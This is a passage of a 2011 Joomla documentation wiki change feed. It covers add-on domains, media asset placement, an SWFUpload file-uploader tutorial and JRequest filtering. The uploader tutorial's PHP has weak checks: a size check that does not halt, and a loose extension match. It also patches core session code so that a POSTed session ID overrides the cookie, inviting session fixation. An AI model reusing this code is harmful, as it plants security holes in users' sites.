&#039;&#039;&#039;Add-On Domains&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* You own two domains site1.com and site2.org.&lt;br /&gt;
* Your main domain is site1.org&lt;br /&gt;
* You want to add your second domain site2.org to your hosting account&lt;br /&gt;
* You want the two domains to be totally separate and independent websites.&lt;br /&gt;
* From the domain site1.com control panel you can add the second domain &lt;br /&gt;
* Each domain is accessed by a control panel that is common to both&lt;br /&gt;
* When a person types site1.com in their browser they are taken to site1.com&lt;br /&gt;
* When a person types site2.org in their browser they are taken to site2.org&lt;br /&gt;
* Each domain shares your hosting plans resources&lt;br /&gt;
&lt;br /&gt;
&amp;lt;noinclude&amp;gt;[[Category:FAQ]][[Category:Getting Started FAQ]]&amp;lt;/noinclude&amp;gt;&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Development_Best_Practices&amp;diff=59946</id>
		<title>Development Best Practices</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Development_Best_Practices&amp;diff=59946"/>
		<updated>2011-06-27T00:49:00Z</updated>

		<summary type="html">&lt;p&gt;Royce: Minor spelling&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Where should I place JavaScript files that belong to my Component? ==&lt;br /&gt;
&lt;br /&gt;
Information in response to the question:&lt;br /&gt;
In com_media, we have an asset folder contains js files; however, is it the proper place for the javascript files for future component development?&lt;br /&gt;
&lt;br /&gt;
The idea was that the asset folder would hold any component asset that would need to be reachable directly by the client. For example, css, img, javascript etc. Initially this was just done to separate them.&lt;br /&gt;
&lt;br /&gt;
Later on in the development of 1.5 we create a general media folder to all assets. At the moment this folder only holds the none-BC system&lt;br /&gt;
assets.  The idea was that the installer would push component specific assets in this folder during the installation process.&lt;br /&gt;
&lt;br /&gt;
In JInstaller around line 780 we see the following in the parseMedia() method:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
/*&lt;br /&gt;
 * Here we set the folder we are going to copy the files to.&lt;br /&gt;
 *     Default &#039;media&#039; Files are copied to the JPATH_BASE/images folder&lt;br /&gt;
 */&lt;br /&gt;
$folder = ($element-&amp;gt;attributes(&#039;destination&#039;)) ? DS.$element-&amp;gt;attributes(&#039;destination&#039;) : null;&lt;br /&gt;
$destination = JPath::clean(JPATH_ROOT.DS.&#039;media&#039;.$folder);&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
What this means in real terms is that when in your xml install manifest, if you put files insite a &amp;lt;media&amp;gt; tag instead of a &amp;lt;files&amp;gt; tag then they will be sent to the JPATH_ROOT/media folder.  If you give it &amp;lt;media destination=&amp;quot;com_foo&amp;quot;&amp;gt; then it will put the files in JPATH_ROOT/media/com_foo&lt;br /&gt;
&lt;br /&gt;
In some cases you have a component, we&#039;ll say com_foo, and then you have a few modules that go along with com_foo... for sake of the example we&#039;ll call them mod_foo_1, mod_foo_2 and mod_foo_3.  There is no reason to package media elements for the three modules if they are all the same and they depend upon the component anyway.  The best and most logical way to do things is to put them all in a central place that is namespaced appropriately. &lt;br /&gt;
&lt;br /&gt;
Doing it this way gives us the ability to start taking all of the media assets out of our code folders and get us to a point where we could really move all the PHP files underneath the document root.  It is a first step toward that end.&lt;br /&gt;
&lt;br /&gt;
For the original discussion, see [http://groups.google.com/group/joomla-devel/browse_thread/thread/49c457b9305e1379 Joomla! Developer Discussion List].&lt;br /&gt;
&lt;br /&gt;
[[Category:Development]]&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Archived:Creating_a_file_uploader_in_your_component&amp;diff=59944</id>
		<title>Archived:Creating a file uploader in your component</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Archived:Creating_a_file_uploader_in_your_component&amp;diff=59944"/>
		<updated>2011-06-27T00:43:05Z</updated>

		<summary type="html">&lt;p&gt;Royce: Minor spelling&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Creating a file uploader in your component: Method 1, SWFUpload ==&lt;br /&gt;
&lt;br /&gt;
=== Part 1: Introduction ===&lt;br /&gt;
&lt;br /&gt;
SWFUpload is a free open source multiple file uploader available for download from http://swfupload.org/&lt;br /&gt;
&lt;br /&gt;
A demo of swfupload is available here: http://demo.swfupload.org/v220/simpledemo/index.php&lt;br /&gt;
&lt;br /&gt;
The standard way to upload a file is with a HTML form. This works great if you are uploading one file, but browsers do not let you select and upload more than one file at a time (Update Feb 2010, Firefox 3.5+ and some other modern browsers support the HTML5 multiple file input)&lt;br /&gt;
&lt;br /&gt;
The most common way of selecting multiple files for upload is to use flash and javascript. The flash part of the script opens up a select file dialog where multiple files can be selected, and the flash/javascript sends each file, and receives the response from the server.&lt;br /&gt;
&lt;br /&gt;
The most popular scripts used to do this are SWFUpload and Fancy upload (http://digitarald.de/project/fancyupload/). The flash uploader in Joomla&#039;s media manager is based on Fancy Upload version 1.0. As Fancy upload 2.0 and 3.0 use mootools 1.2, and Joomla 1.5 uses mootools 1.11, we can not use Fancy Upload 2.0/3.0 in the admin pages of Joomla. Fancy Upload 1.0 could be used, but it is not updated or supported anymore.&lt;br /&gt;
&lt;br /&gt;
SWFUpload does not use Mootools or Jquery. Because of this it will likely work on any page with Mootools 1.11 (Joomla 1.5), or Mootools 1.2 (Joomla 1.6). Therefore we will be using SWFUpload in this article.&lt;br /&gt;
&lt;br /&gt;
Download ths latest version of SWFUpload from the download page (http://code.google.com/p/swfupload/). Download the SWFUpload v2.2.0.1 Samples.zip file.&lt;br /&gt;
&lt;br /&gt;
Inside the file there will be a demos folder, and inside that a simpledemo folder. This is the example we are going to integrate into a Joomla component.&lt;br /&gt;
&lt;br /&gt;
This tutorial assumes you have followed the http://docs.joomla.org/Developing_a_Model-View-Controller_Component_-_Part_1 tutorial and are familiar with Joomla&#039;s MVC structure.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== Part 2: Adding The External Javascript ===&lt;br /&gt;
&lt;br /&gt;
We need to add in the external links in the head of the document, put some javascript into the head of the doc, and put some HTML in our body.&lt;br /&gt;
&lt;br /&gt;
If you look at the simpledemo/index.php page you will see links to 5 files in the head of the page.&lt;br /&gt;
&lt;br /&gt;
Make a folder within the root of your components folder called swfupload, copy the ../css/default.css, ../swfupload/swfupload.js, js/swfupload.queue.js, js/fileprogress.js and js/handlers.js files into this folder.&lt;br /&gt;
&lt;br /&gt;
We also need to copy the ../swfupload/swfupload.swf and images/TestImageNoText_65x29.png files into this folder.&lt;br /&gt;
&lt;br /&gt;
Within your view.html.php file add in the following code:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
//get the hosts name&lt;br /&gt;
jimport(&#039;joomla.environment.uri&#039; );&lt;br /&gt;
$host = JURI::root();&lt;br /&gt;
&lt;br /&gt;
//add the links to the external files into the head of the webpage (note the &#039;administrator&#039; in the path, which is not nescessary if you are in the frontend)&lt;br /&gt;
$document =&amp;amp; JFactory::getDocument();&lt;br /&gt;
$document-&amp;gt;addScript($host.&#039;administrator/components/com_mycomponent/swfupload/swfupload.js&#039;);&lt;br /&gt;
$document-&amp;gt;addScript($host.&#039;administrator/components/com_mycomponent/swfupload/swfupload.queue.js&#039;);&lt;br /&gt;
$document-&amp;gt;addScript($host.&#039;administrator/components/com_mycomponent/swfupload/fileprogress.js&#039;);&lt;br /&gt;
$document-&amp;gt;addScript($host.&#039;administrator/components/com_mycomponent/swfupload/handlers.js&#039;);&lt;br /&gt;
$document-&amp;gt;addStyleSheet($host.&#039;administrator/components/com_mycomponent/swfupload/default.css&#039;);&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
That is the external files part done. We still have to add in the head javascript, and the body html.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
=== Part 3: Adding The Head Javascript ===&lt;br /&gt;
&lt;br /&gt;
Head javascript part:&lt;br /&gt;
The javascript below is almost the same as the javascript from the simple demo, the few modifications are commented. It is nescessary to read through it and change the parts (such as task) that are relevant to your component.&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
//when we send the files for upload, we have to tell Joomla our session, or we will get logged out &lt;br /&gt;
$session = &amp;amp; JFactory::getSession();&lt;br /&gt;
		&lt;br /&gt;
$swfUploadHeadJs =&#039;&lt;br /&gt;
var swfu;&lt;br /&gt;
&lt;br /&gt;
window.onload = function()&lt;br /&gt;
{&lt;br /&gt;
			&lt;br /&gt;
var settings = &lt;br /&gt;
{&lt;br /&gt;
        //this is the path to the flash file, you need to put your components name into it&lt;br /&gt;
	flash_url : &amp;quot;&#039;.$host.&#039;administrator/components/com_mycomponent/swfupload/swfupload.swf&amp;quot;,&lt;br /&gt;
	&lt;br /&gt;
        //we can not put any vars into the url for complicated reasons, but we can put them into the post...&lt;br /&gt;
        upload_url: &amp;quot;index.php&amp;quot;,&lt;br /&gt;
	post_params: &lt;br /&gt;
	{&lt;br /&gt;
		&amp;quot;option&amp;quot; : &amp;quot;com_mycomponent&amp;quot;,&lt;br /&gt;
		&amp;quot;controller&amp;quot; : &amp;quot;mycontroller&amp;quot;,&lt;br /&gt;
		&amp;quot;task&amp;quot; : &amp;quot;mytask&amp;quot;,&lt;br /&gt;
		&amp;quot;id&amp;quot; : &amp;quot;&#039;.$myItemObject-&amp;gt;id.&#039;&amp;quot;,&lt;br /&gt;
		&amp;quot;&#039;.$session-&amp;gt;getName().&#039;&amp;quot; : &amp;quot;&#039;.$session-&amp;gt;getId().&#039;&amp;quot;,&lt;br /&gt;
		&amp;quot;format&amp;quot; : &amp;quot;raw&amp;quot;&lt;br /&gt;
	}, &lt;br /&gt;
        //you need to put the session and the &amp;quot;format raw&amp;quot; in there, the other ones are what you would normally put in the url&lt;br /&gt;
	file_size_limit : &amp;quot;5 MB&amp;quot;,&lt;br /&gt;
        //client side file chacking is for usability only, you need to check server side for security&lt;br /&gt;
	file_types : &amp;quot;*.jpg;*.jpeg;*.gif;*.png&amp;quot;,&lt;br /&gt;
	file_types_description : &amp;quot;All Files&amp;quot;,&lt;br /&gt;
	file_upload_limit : 100,&lt;br /&gt;
	file_queue_limit : 100,&lt;br /&gt;
	custom_settings : &lt;br /&gt;
	{&lt;br /&gt;
		progressTarget : &amp;quot;fsUploadProgress&amp;quot;,&lt;br /&gt;
		cancelButtonId : &amp;quot;btnCancel&amp;quot;&lt;br /&gt;
	},&lt;br /&gt;
	debug: false,&lt;br /&gt;
&lt;br /&gt;
	// Button settings&lt;br /&gt;
	button_image_url: &amp;quot;&#039;.$host.&#039;administrator/components/com_mycomponent/swfupload/images/TestImageNoText_65x29.png&amp;quot;,&lt;br /&gt;
	button_width: &amp;quot;85&amp;quot;,&lt;br /&gt;
	button_height: &amp;quot;29&amp;quot;,&lt;br /&gt;
	button_placeholder_id: &amp;quot;spanButtonPlaceHolder&amp;quot;,&lt;br /&gt;
	button_text: \&#039;&amp;lt;span class=&amp;quot;theFont&amp;quot;&amp;gt;Choose Files&amp;lt;/span&amp;gt;\&#039;,&lt;br /&gt;
	button_text_style: &amp;quot;.theFont { font-size: 13; }&amp;quot;,&lt;br /&gt;
	button_text_left_padding: 5,&lt;br /&gt;
	button_text_top_padding: 5,&lt;br /&gt;
				&lt;br /&gt;
	// The event handler functions are defined in handlers.js&lt;br /&gt;
	file_queued_handler : fileQueued,&lt;br /&gt;
	file_queue_error_handler : fileQueueError,&lt;br /&gt;
	file_dialog_complete_handler : fileDialogComplete,&lt;br /&gt;
	upload_start_handler : uploadStart,&lt;br /&gt;
	upload_progress_handler : uploadProgress,&lt;br /&gt;
	upload_error_handler : uploadError,&lt;br /&gt;
	upload_success_handler : uploadSuccess,&lt;br /&gt;
	upload_complete_handler : uploadComplete,&lt;br /&gt;
	queue_complete_handler : queueComplete	// Queue plugin event&lt;br /&gt;
};&lt;br /&gt;
swfu = new SWFUpload(settings);&lt;br /&gt;
};&lt;br /&gt;
	     &lt;br /&gt;
&#039;;&lt;br /&gt;
&lt;br /&gt;
//add the javascript to the head of the html document&lt;br /&gt;
$document-&amp;gt;addScriptDeclaration($swfUploadHeadJs);&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
If you want more info on what each paramater is, have a look at the swfupload docs:&lt;br /&gt;
http://demo.swfupload.org/Documentation/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== Part 4: Adding The Body HTML ===&lt;br /&gt;
&lt;br /&gt;
We still have to add in our body HTML, in you tmpl/default.php file add in:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;swfuploader&amp;quot;&amp;gt;&lt;br /&gt;
	&amp;lt;form id=&amp;quot;form1&amp;quot; action=&amp;quot;index.php&amp;quot; method=&amp;quot;post&amp;quot; enctype=&amp;quot;multipart/form-data&amp;quot;&amp;gt;&lt;br /&gt;
	&amp;lt;fieldset class=&amp;quot;adminform&amp;quot;&amp;gt;&lt;br /&gt;
		&lt;br /&gt;
			&amp;lt;div class=&amp;quot;fieldset flash&amp;quot; id=&amp;quot;fsUploadProgress&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;span class=&amp;quot;legend&amp;quot;&amp;gt;Upload Queue&amp;lt;/span&amp;gt;&lt;br /&gt;
			&amp;lt;/div&amp;gt;&lt;br /&gt;
		&amp;lt;div id=&amp;quot;divStatus&amp;quot;&amp;gt;0 Files Uploaded&amp;lt;/div&amp;gt;&lt;br /&gt;
			&amp;lt;div&amp;gt;&lt;br /&gt;
				&amp;lt;span id=&amp;quot;spanButtonPlaceHolder&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
				&amp;lt;input id=&amp;quot;btnCancel&amp;quot; type=&amp;quot;button&amp;quot; value=&amp;quot;Cancel All Uploads&amp;quot; onclick=&amp;quot;swfu.cancelQueue();&amp;quot; disabled=&amp;quot;disabled&amp;quot; style=&amp;quot;margin-left: 2px; font-size: 8pt; height: 29px;&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
			&amp;lt;/div&amp;gt;&lt;br /&gt;
	&amp;lt;/fieldset&amp;gt;&lt;br /&gt;
	&amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
If all has gone well, you will be able to upload files to your components script, although nothing will happen on the server as there is no PHP to receive the image.&lt;br /&gt;
&lt;br /&gt;
===  Part 5: Receiving The File With PHP ===&lt;br /&gt;
&lt;br /&gt;
It is worth noting that allowing users to upload files to the server is possibly the most dangerous thing to do in terms of security, and if someone with malicious intentions manages to upload a php file to your server, then they can easily take control of the site.&lt;br /&gt;
&lt;br /&gt;
It is recommended you do some reading on file upload security. This is a good start:&lt;br /&gt;
&lt;br /&gt;
http://www.scanit.be/uploads/php-file-upload.pdf&lt;br /&gt;
&lt;br /&gt;
And there are many other good resources on the internet. It is important you understand how file upload security works, rather than copying and pasting some code that checks the MIME type, and assuming the script is safe.&lt;br /&gt;
&lt;br /&gt;
Here is some example PHP that will check if the file is an image, and upload it. It is not an exhaustive example of security checking, but it is a good start:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
//import joomlas filesystem functions, we will do all the filewriting with joomlas functions,&lt;br /&gt;
//so if the ftp layer is on, joomla will write with that, not the apache user, which might&lt;br /&gt;
//not have the correct permissions&lt;br /&gt;
jimport(&#039;joomla.filesystem.file&#039;);&lt;br /&gt;
jimport(&#039;joomla.filesystem.folder&#039;);&lt;br /&gt;
		&lt;br /&gt;
//this is the name of the field in the html form, filedata is the default name for swfupload&lt;br /&gt;
//so we will leave it as that&lt;br /&gt;
$fieldName = &#039;Filedata&#039;;&lt;br /&gt;
&lt;br /&gt;
//any errors the server registered on uploading&lt;br /&gt;
$fileError = $_FILES[$fieldName][&#039;error&#039;];&lt;br /&gt;
if ($fileError &amp;gt; 0) &lt;br /&gt;
{&lt;br /&gt;
        switch ($fileError) &lt;br /&gt;
	{&lt;br /&gt;
        case 1:&lt;br /&gt;
        echo JText::_( &#039;FILE TO LARGE THAN PHP INI ALLOWS&#039; );&lt;br /&gt;
        return;&lt;br /&gt;
&lt;br /&gt;
        case 2:&lt;br /&gt;
        echo JText::_( &#039;FILE TO LARGE THAN HTML FORM ALLOWS&#039; );&lt;br /&gt;
        return;&lt;br /&gt;
&lt;br /&gt;
        case 3:&lt;br /&gt;
        echo JText::_( &#039;ERROR PARTIAL UPLOAD&#039; );&lt;br /&gt;
        return;&lt;br /&gt;
&lt;br /&gt;
        case 4:&lt;br /&gt;
        echo JText::_( &#039;ERROR NO FILE&#039; );&lt;br /&gt;
        return;&lt;br /&gt;
        }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
//check for filesize&lt;br /&gt;
$fileSize = $_FILES[$fieldName][&#039;size&#039;];&lt;br /&gt;
if($fileSize &amp;gt; 2000000)&lt;br /&gt;
{&lt;br /&gt;
    echo JText::_( &#039;FILE BIGGER THAN 2MB&#039; );&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
//check the file extension is ok&lt;br /&gt;
$fileName = $_FILES[$fieldName][&#039;name&#039;];&lt;br /&gt;
$uploadedFileNameParts = explode(&#039;.&#039;,$fileName);&lt;br /&gt;
$uploadedFileExtension = array_pop($uploadedFileNameParts);&lt;br /&gt;
&lt;br /&gt;
$validFileExts = explode(&#039;,&#039;, &#039;jpeg,jpg,png,gif&#039;);&lt;br /&gt;
&lt;br /&gt;
//assume the extension is false until we know its ok&lt;br /&gt;
$extOk = false;&lt;br /&gt;
&lt;br /&gt;
//go through every ok extension, if the ok extension matches the file extension (case insensitive)&lt;br /&gt;
//then the file extension is ok&lt;br /&gt;
foreach($validFileExts as $key =&amp;gt; $value)&lt;br /&gt;
{&lt;br /&gt;
	if( preg_match(&amp;quot;/$value/i&amp;quot;, $uploadedFileExtension ) )&lt;br /&gt;
	{&lt;br /&gt;
		$extOk = true;&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
if ($extOk == false) &lt;br /&gt;
{&lt;br /&gt;
	echo JText::_( &#039;INVALID EXTENSION&#039; );&lt;br /&gt;
        return;&lt;br /&gt;
}&lt;br /&gt;
	&lt;br /&gt;
//the name of the file in PHP&#039;s temp directory that we are going to move to our folder&lt;br /&gt;
$fileTemp = $_FILES[$fieldName][&#039;tmp_name&#039;];&lt;br /&gt;
		&lt;br /&gt;
//for security purposes, we will also do a getimagesize on the temp file (before we have moved it &lt;br /&gt;
//to the folder) to check the MIME type of the file, and whether it has a width and height&lt;br /&gt;
$imageinfo = getimagesize($fileTemp);&lt;br /&gt;
		&lt;br /&gt;
//we are going to define what file extensions/MIMEs are ok, and only let these ones in (whitelisting), rather than try to scan for bad&lt;br /&gt;
//types, where we might miss one (whitelisting is always better than blacklisting) &lt;br /&gt;
$okMIMETypes = &#039;image/jpeg,image/pjpeg,image/png,image/x-png,image/gif&#039;;&lt;br /&gt;
$validFileTypes = explode(&amp;quot;,&amp;quot;, $okMIMETypes);		&lt;br /&gt;
&lt;br /&gt;
//if the temp file does not have a width or a height, or it has a non ok MIME, return&lt;br /&gt;
if( !is_int($imageinfo[0]) || !is_int($imageinfo[1]) ||  !in_array($imageinfo[&#039;mime&#039;], $validFileTypes) )&lt;br /&gt;
{&lt;br /&gt;
	echo JText::_( &#039;INVALID FILETYPE&#039; );&lt;br /&gt;
        return;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
//lose any special characters in the filename&lt;br /&gt;
$fileName = ereg_replace(&amp;quot;[^A-Za-z0-9.]&amp;quot;, &amp;quot;-&amp;quot;, $fileName);&lt;br /&gt;
&lt;br /&gt;
//always use constants when making file paths, to avoid the possibilty of remote file inclusion&lt;br /&gt;
$uploadPath = JPATH_SITE.DS.&#039;images&#039;.DS.&#039;stories&#039;.DS.$fileName;&lt;br /&gt;
&lt;br /&gt;
if(!JFile::upload($fileTemp, $uploadPath)) &lt;br /&gt;
{&lt;br /&gt;
	echo JText::_( &#039;ERROR MOVING FILE&#039; );&lt;br /&gt;
        return;&lt;br /&gt;
}&lt;br /&gt;
else&lt;br /&gt;
{&lt;br /&gt;
   // success, exit with code 0 for Mac users, otherwise they receive an IO Error&lt;br /&gt;
   exit(0);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
If all want well the uploaded files will be in the images/stories folder.&lt;br /&gt;
&lt;br /&gt;
===  Part 6: Flash plugin COOKIE bug on non-IE browsers ===&lt;br /&gt;
&lt;br /&gt;
Also you should pay attention to Flash player cookie bug!&lt;br /&gt;
&lt;br /&gt;
It is described here http://swfupload.org/forum/generaldiscussion/383&lt;br /&gt;
&lt;br /&gt;
The Flash Player Plugin for FireFox, Opera and Safari (and probably other non-IE based browsers) has a bug which sends persistent cookies from IE to the upload URL instead of the cookies from the browser. Session only cookies from IE are not sent.&lt;br /&gt;
&lt;br /&gt;
1) Any cookies from a non-IE browser (ie, authentication, login, etc) will not be sent with the file upload. Rather the cookies from IE will be sent. So, no cookies or the wrong cookies will be sent. In most cases this means sessions and cookie based authentication are lost when making an upload.&lt;br /&gt;
&lt;br /&gt;
2) Cookies set by the upload script do get set, but only for Flash. The browser will not see them.&lt;br /&gt;
&lt;br /&gt;
3) This bug affects Flash 8 and Flash 9 and all versions of SWFUpload&lt;br /&gt;
&lt;br /&gt;
4) You cannot rely on cookies when using SWFUpload (or any Flash based upload tool). You must send the data you need from the cookies in another way. There are several threads regarding this issue in the forum and many of the demos show workarounds for restoring PHP sessions and some sample files show how to restore the cookies so Session and Authentication are restored in ASP.Net.&lt;br /&gt;
&lt;br /&gt;
5) This could be considered a security issue but probably not severe enough to actually compromise any data. The cookies created in IE by Flash still have all the rules and restricts associated with cookies in any browser.&lt;br /&gt;
&lt;br /&gt;
Solution is modify function _start() (libraries\joomla\session\session.php):&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
$sn = session_name();&lt;br /&gt;
&lt;br /&gt;
if(isset($_COOKIE[$sn]) &amp;amp;&amp;amp; isset($_POST[$sn])) &lt;br /&gt;
   {&lt;br /&gt;
	$_COOKIE[$sn] = $_POST[$sn];&lt;br /&gt;
	session_id($_POST[$sn]);&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
session_start();&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
[[Category:Tutorials]][[Category:Component Development]]&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=J1.5:Retrieving_and_Filtering_GET_and_POST_requests_with_JRequest::getVar&amp;diff=59943</id>
		<title>J1.5:Retrieving and Filtering GET and POST requests with JRequest::getVar</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=J1.5:Retrieving_and_Filtering_GET_and_POST_requests_with_JRequest::getVar&amp;diff=59943"/>
		<updated>2011-06-27T00:42:23Z</updated>

		<summary type="html">&lt;p&gt;Royce: /* &amp;#039;get&amp;#039; */ Minor spelling and style&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;When writing any web application, it is crucial that you filter input data before using it. Joomla! provides a set of filtering libraries to help you accomplish this.&lt;br /&gt;
&lt;br /&gt;
===Defined in===&lt;br /&gt;
libraries\joomla\environment\request.php&lt;br /&gt;
&lt;br /&gt;
==Methods==&lt;br /&gt;
&lt;br /&gt;
=== &#039;getVar&#039; ===&lt;br /&gt;
To retrieve GET/POST request data, Joomla! uses the getVar method of the JRequest class (JRequest::getVar()).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Retrieving Data&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
If you have a form variable named &#039;address&#039;, you would want to use this code to get it:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$address = JRequest::getVar(&#039;address&#039;);&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Unless other parameters are set, all HTML and trailing whitespace will be filtered out.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The DEFAULT Parameter&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
If you want to specify a default value in the event that &#039;address&#039; is not in the request or is unset, use this code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$address = JRequest::getVar(&#039;address&#039;, &#039;Address is empty&#039;);&lt;br /&gt;
echo $address;  // Address is empty&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The SOURCE Parameter&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Frequently, you will expect your variable to be found in a specific portion of the HTTP request (POST, GET, etc...). If this is the case, you should specify which portion; this will slightly increase your extension&#039;s security. If you expect &#039;address&#039; to only be in POST, use this code to enforce that:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$address = JRequest::getVar(&#039;address&#039;, &#039;default value goes here&#039;, &#039;post&#039;);&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The VARIABLE TYPE Parameter&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The fourth parameter of getVar() can be used to specify certain filters to force validation of specific value types for the variable. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$address = JRequest::getVar(&#039;address&#039;, &#039;default value goes here&#039;, &#039;post&#039;,&#039;variable type&#039;);&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Here is a list of types you can validate:&lt;br /&gt;
&lt;br /&gt;
*INT&lt;br /&gt;
*INTEGER&lt;br /&gt;
*FLOAT&lt;br /&gt;
*DOUBLE&lt;br /&gt;
*BOOL&lt;br /&gt;
*BOOLEAN&lt;br /&gt;
*WORD&lt;br /&gt;
*ALNUM&lt;br /&gt;
*CMD&lt;br /&gt;
*BASE64&lt;br /&gt;
*STRING&lt;br /&gt;
*ARRAY&lt;br /&gt;
*PATH&lt;br /&gt;
*USERNAME&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The FILTER MASK Parameter&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Finally, there are some mask constants you can pass in as the fifth parameter that allow you to bypass portions of the filtering:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$address = JRequest::getVar(&#039;address&#039;, &#039;default value goes here&#039;, &#039;post&#039;,&#039;validation type&#039;,mask type);&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*JREQUEST_NOTRIM - prevents trimming of whitespace&lt;br /&gt;
*JREQUEST_ALLOWRAW - bypasses filtering&lt;br /&gt;
*JREQUEST_ALLOWHTML - allows most HTML. If this is not passed in, HTML is stripped out by default.&lt;br /&gt;
&lt;br /&gt;
Note. These are static variables not strings. Do not use quotes around them&lt;br /&gt;
&lt;br /&gt;
=== &#039;get&#039; ===&lt;br /&gt;
To receive a whole array filtered. If you would want to get the POST data, you can use this.&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;JRequest::get( &#039;post&#039; )&amp;lt;/source&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;This returns the standard POST array.  You can use it on a template page if needed, or in the models section if convenient. It returns the most recent POST.&lt;br /&gt;
Methods of this object were not found in the Framework section where one would expect to find them. &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==See also==&lt;br /&gt;
* [http://api.joomla.org/Joomla-Framework/Environment/JRequest.html JRequest on api.joomla.org]&lt;br /&gt;
* [[JURI]]&lt;br /&gt;
* [[JRoute]]&lt;br /&gt;
&lt;br /&gt;
==Security==&lt;br /&gt;
&lt;br /&gt;
Why not just use the Superglobals? If you are familiar with PHP already you may be wondering, why not just use $_GET / $_POST / $_REQUEST? To make Joomla more secure, all global variables should be read through this function. It removes the possibility for code injection and/or SQL injection. You can also define a default value (as you can see in line 6). Copied and changed from [[Creating a simple component - Part 1]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Development]]&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Help17:Extensions_Plugin_Manager_Edit&amp;diff=59942</id>
		<title>Help17:Extensions Plugin Manager Edit</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Help17:Extensions_Plugin_Manager_Edit&amp;diff=59942"/>
		<updated>2011-06-27T00:40:14Z</updated>

		<summary type="html">&lt;p&gt;Royce: /* Details */ Minor grammar: can not -&amp;gt; cannot&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==How to Access==&lt;br /&gt;
